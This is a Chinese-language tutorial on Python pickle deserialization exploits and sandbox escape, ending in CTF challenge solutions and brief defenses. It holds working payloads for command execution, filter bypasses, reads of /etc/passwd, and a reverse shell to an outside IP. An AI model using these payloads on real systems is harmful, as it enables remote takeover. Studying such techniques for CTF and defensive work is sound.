抽象语法树在PVM中的应用,从Python沙箱逃逸看PICKLE操作码
字数 1766 2025-08-22 12:22:48
Python Pickle反序列化与沙箱逃逸技术详解
一、Pickle基础
1. Pickle基本方法
Pickle模块提供了四种主要方法:
pickle.dump(obj, file) # 将对象序列化并写入文件(需wb模式)
pickle.load(file) # 从文件反序列化对象(需rb模式)
pickle.dumps(obj) # 将对象序列化为bytes类型返回
pickle.loads(data) # 将bytes类型数据反序列化(要求bytes-like对象)
简记:
pickle.dumps()=> serializepickle.loads()=> unserialize
2. Pickle操作码(Opcode)
Pickle使用操作码来序列化对象,常用操作码如下(V0版本):
| 操作码 | 功能描述 |
|---|---|
c |
获取全局对象或导入模块 c[module]\n[instance]\n |
o |
调用栈中上一个MARK后的第一个函数,参数为后续数据 |
i |
c和o的组合,先获取全局函数再调用 |
N |
实例化None |
S |
实例化字符串对象 S'xxx'\n |
V |
实例化UNICODE字符串 Vxxx\n |
I |
实例化int对象 Ixxx\n |
F |
实例化float对象 Fx.x\n |
R |
调用栈上第一个对象(函数)和第二个对象(参数元组) |
. |
程序结束,栈顶元素作为返回值 |
( |
压入MARK标记 |
t |
组合MARK之间的数据为元组 |
) |
压入空元组 |
l |
组合MARK之间的数据为列表 |
] |
压入空列表 |
d |
组合MARK之间的数据为字典(key-value对) |
} |
压入空字典 |
p |
将栈顶对象储存至memo pn\n |
g |
将memo_n的对象压栈 gn\n |
0 |
丢弃栈顶对象 |
b |
使用字典设置对象属性 |
s |
将前两个对象作为key-value更新到第三个对象(列表/字典) |
u |
类似s但处理MARK之间的多个key-value对 |
a |
将第一个元素append到第二个元素(列表)中 |
e |
类似a但处理MARK之间的多个元素 |
3. Pickle工具使用
使用pickletools可以方便地解析操作码:
import pickletools
data = b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)
二、Pickle反序列化漏洞利用
1. 基本利用方式
(1) 命令执行
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())
pickle.loads(payload) # 执行系统命令
(2) 反弹Shell
class Exploit(object):
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/8.130.110.182/2333 0>&1'"
return (eval, (cmd,))
(3) 变量覆盖
opcode = b'''c__main__\nsecret\n(S'secret'\nS'Polluted~'\ndb.'''
pickle.loads(opcode)
print(secret.secret) # 输出: Polluted~
(4) 实例化对象
opcode = b'''c__main__\nA\n(I18\ntR.'''
obj = pickle.loads(opcode)
print(f"name is {obj.name} and age is {obj.age}")
2. 操作码利用技巧
(1) R指令(REDUCE)
opcode = b'''cos\nsystem\n(S'whoami'\ntR.'''
分解:
c- 导入os.system(- 压入MARKS'whoami'- 压入字符串t- 组合为元组R- 调用函数
(2) i指令(INST)
opcode = b'''(S'whoami'\nios\nsystem\n.'''
(3) o指令(OBJ)
opcode = b'''(cos\nsystem\nS'whoami'\no.'''
(4) b指令(BUILD)
opcode = b'''(c__main__\nAnimal\nS'Casual'\nI18\no}(S"__setstate__"\ncos\nsystem\nubS"whoami"\nb.'''
3. 绕过限制技巧
(1) 绕过builtins限制
# 方法1:通过getattr获取
opcode = b'''cbuiltins\ngetattr\n(cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR(cbuiltins\nglobals\n)RS'__builtins__'\ntRS'eval'\ntR(S'__import__("os").system("whoami")'\ntR.'''
# 方法2:通过__getattribute__
opcode = b'''cbuiltins\n__getattribute__\n(S'eval'\ntR(S'__import__("os").system("whoami")'\ntR.'''
(2) 绕过关键词过滤
# 双写绕过
original = b"os.system"
bypassed = b"ooss.system"
# 使用eval代替
opcode = b'''cbuiltins\neval\n(S'__import__("os").system("whoami")'\ntR.'''
# 使用pty模块
opcode = b'''cbuiltins\neval\n(S'__import__("pty").spawn("whoami")'\ntR.'''
(3) 绕过点号限制
使用getattr链式调用:
getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')()
(4) 绕过中括号限制
使用__getitem__或pop代替:
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(40)('/etc/passwd').read()
三、Pker工具使用
Pker是一个用于生成Pickle操作码的工具,简化了复杂payload的构造。
1. 基本语法
# 导入模块和函数
getattr = GLOBAL('builtins','getattr')
dict = GLOBAL('builtins','dict')
# 调用函数
system = GLOBAL('os', 'system')
system('whoami')
# 实例化对象
animal = INST('__main__', 'Animal', '1', '2')
return animal
2. Pker生成示例
(1) 命令执行
system = GLOBAL('builtins', 'eval')
system('__import__("os").system("whoami")')
return
(2) 绕过限制
# BalsnCTF:pyshv1解法
modules = GLOBAL('sys','modules')
modules['sys'] = modules
get = GLOBAL('sys','get')
os = get('os')
modules['sys'] = os
system = GLOBAL('sys','system')
system('whoami')
return
(3) 变量覆盖
secret = GLOBAL('__main__', 'secret')
secret.name = 'hacked'
secret.category = 'hacked'
return
四、Python沙箱逃逸技术
1. 命令执行方式
# 常见方式
os.system('whoami')
os.popen('whoami').read()
subprocess.Popen('whoami', shell=True)
platform.popen('whoami').read()
pty.spawn('whoami')
# 通过eval/exec
eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
# 通过warnings/timeit
warnings.linecache.os.system("whoami")
timeit.timeit("__import__('os').system('whoami')", number=1)
2. 文件读取方式
open('/etc/passwd').read()
linecache.getlines('/etc/passwd')
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
3. 绕过过滤技巧
(1) 字符串拼接
"__im" + "port__('o" + "s').sy" + "stem('who" + "ami')"
(2) 编码绕过
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+...)
(3) 反向字符串
")'imaohw'(metsys.)'so'(__tropmi__"[::-1]
(4) 属性链访问
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')
五、实战案例
1. HZNUCTF ezpickle
import base64
import pickle
class Exploit(object):
def __reduce__(self):
return eval, ("__import__('ooss').system('env|tee 1.txt')",)
payload = pickle.dumps(Exploit()).replace(b'os', b'ooss')
print(base64.b64encode(payload).decode())
2. [MTCTF 2022]easypickle
# 伪造session
python3 flask_session_cookie_manager3.py encode -s '444f' -t "{'user':'admin'}"
# Payload构造(绕过R/i/o/b过滤)
opcode = b'''(S'key1' S'var1' S'key2' S'var2' dS'key2' (cos system S'whoami' os.'''
3. BalsnCTF:pyshv2
__dict__ = GLOBAL('structs', '__dict__')
__builtins__ = GLOBAL('structs', '__builtins__')
gtat = GLOBAL('structs', '__getattribute__')
__builtins__['__import__'] = gtat
__dict__['structs'] = __builtins__
builtin_get = GLOBAL('structs', 'get')
eval = builtin_get('eval')
eval('print(123)')
return
六、防御措施
- 不要反序列化不受信任的数据
- 使用
pickle.Unpickler并重写find_class进行限制 - 使用更安全的序列化格式如JSON
- 对输入进行严格过滤
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise pickle.UnpicklingError("forbidden")
return super().find_class(module, name)